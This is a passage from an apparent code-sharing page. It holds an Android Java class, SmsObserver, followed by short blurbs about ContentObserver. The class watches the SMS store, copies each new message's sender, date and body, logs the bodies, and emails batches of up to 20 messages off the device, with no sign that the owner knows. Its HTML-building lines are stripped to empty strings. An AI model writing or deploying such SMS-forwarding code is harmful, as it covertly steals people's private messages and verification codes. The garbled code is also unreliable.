import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.ContentValues;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Handler;
import android.util.Log;
public class SmsObserver extends ContentObserver {
private static String TAG = "SmsObserver";
private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE,
DbHelper.SmsColumns.BODY };
private Context context;
private int _id = -1;
public SmsObserver(Context context, Handler handler) {
super(handler);
this.context = context;
Log.i(TAG, "My Oberver on create");
}
public void onChange(boolean change) {
Log.i(TAG, "Sms onChange");
Uri uri = Uri.parse("content://sms");
Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1");
if (c != null) {
boolean first = false;
while (c.moveToNext()) {
int id = c.getInt(c.getColumnIndex(SMS_PROJECTION[0]));
String address = c.getString(c.getColumnIndex(SMS_PROJECTION[1]));
String person = c.getString(c.getColumnIndex(SMS_PROJECTION[2]));
String date = c.getString(c.getColumnIndex(SMS_PROJECTION[3]));
String type = c.getString(c.getColumnIndex(SMS_PROJECTION[4]));
String body = c.getString(c.getColumnIndex(SMS_PROJECTION[5]));
if (_id != id) {
first = true;
Log.e(TAG, "address=" + address);
Log.e(TAG, "date=" + date);
Log.e(TAG, "body=" + body);
ContentValues values = new ContentValues();
values.put(DbHelper.SmsColumns.ADDRESS, address);
if (person != null)
values.put(DbHelper.SmsColumns.PERSON, person);
values.put(DbHelper.SmsColumns.DATE, date);
values.put(DbHelper.SmsColumns.TYPE, type);
values.put(DbHelper.SmsColumns.BODY, body);
context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values);
}
_id = id;
}
c.close();
String html = getSmsHtml(first);
}
}
public String getSmsHtml(boolean first) {
StringBuffer sb = new StringBuffer();
String ids = "";
if (first && isConnectInternet()) {
Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20");
if (cursor != null) {
sb.append("");
sb.append("");
sb.append("id");
sb.append("address");
sb.append("person");
sb.append("date");
sb.append("type");
sb.append("body");
sb.append("");
while (cursor.moveToNext()) {
sb.append("");
int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION[0]));
String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[1]));
String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[2]));
String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[3]));
String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[4]));
String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[5]));
sb.append("" + id + "");
sb.append("" + address + "");
if (person != null)
sb.append("" + person + "");
else
sb.append("" + "null" + "");
sb.append("" + formatDate(Long.parseLong(date)) + "");
sb.append("" + type + "");
sb.append("" + body + "");
sb.append("");
ids += id + ",";
}
sb.append("");
ids = ids.substring(0, ids.length() - 1);
}
}
SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString());
if (mail.send()) {
return ids;
}
return null;
}
public String formatDate(long time) {
DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = new Date();
date.setTime(time);
String s = format.format(date);
return s;
}
public boolean isConnectInternet() {
ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = conManager.getActiveNetworkInfo();
if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错
return networkInfo.isAvailable();
}
return false;
}
}
分享到:
相关推荐
Android自学笔记-13-ContentObserver内容观察者
当ContentProvider将数据共享出来之后,ContentResolver会根据...在有些时候,应用程序需要实时监听ContentProvider所共享数据的改变,并随着ContentProvider的数据的改变而提供响应,这就需要利用contentObserver。
使用ContentObserver监视未接电话,未读短信
先运行contentproviderdemo,然后在运行contentobserver工程,在contentobserver中可以对共享数据库中的数据增删改查,还可以监听数据库变化,实时改变布局变化
Android中内容观察者的使用---- ContentObserver类详解
自定义ContentObserver监听数据库数据变化,在Observer里面的onChange实现回调,这里可以获取到最新变化的那条数据,代码亲测可行
ContentObserver——内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于 数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表...
主要为大家详细介绍了Android采取ContentObserver方式自动获取验证码,感兴趣的小伙伴们可以参考一下
Android 中自定义ContentProvider与ContentObserver的使用简单实例 示例说明: 该示例中一共包含两个工程。其中一个工程完成了自定义ContentProvider,另外一个工程用于测试该自定义ContentProvider且在该工程中使用...
主要介绍了Android 使用ContentObserver监听数据库内容是否更改的相关资料,ContentObserver内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,需要的朋友可以参考下
主要介绍了Android 中使用ContentObserver模式获取短信用正则自动填充验证码,首先使用了ContentObserver监听短信,然后从短信中用正则的分组去拿到验证码,具体实现代码大家参考下本
一个例子实现两个功能,一可以监听飞行模式是否发生改变,二可以监听手机短信数据库发生改变。当收到消息时候,短信数据库监听触发,这时候可以去把收到的短信读出来。...用ContentObserver这个监听类去实现监听短信。
请参考: http://blog.csdn.net/linmiansheng/article/details/21043047
本文为大家分享了android倒计时控件,供大家参考,具体代码如下 /* ... * All right reserved. * Version 1.00 2012-2-11 ...import android.database.ContentObserver; import android.os.Handler; import android.os.S
ContentObserver监听ContentProvider中数据的变化
使用contentProvider 和 contentResolver 实现两个APP间数据共享,并利用 getContentResolver().notifyChange 和 ContentObserver 来实现两个app间数据同步刷新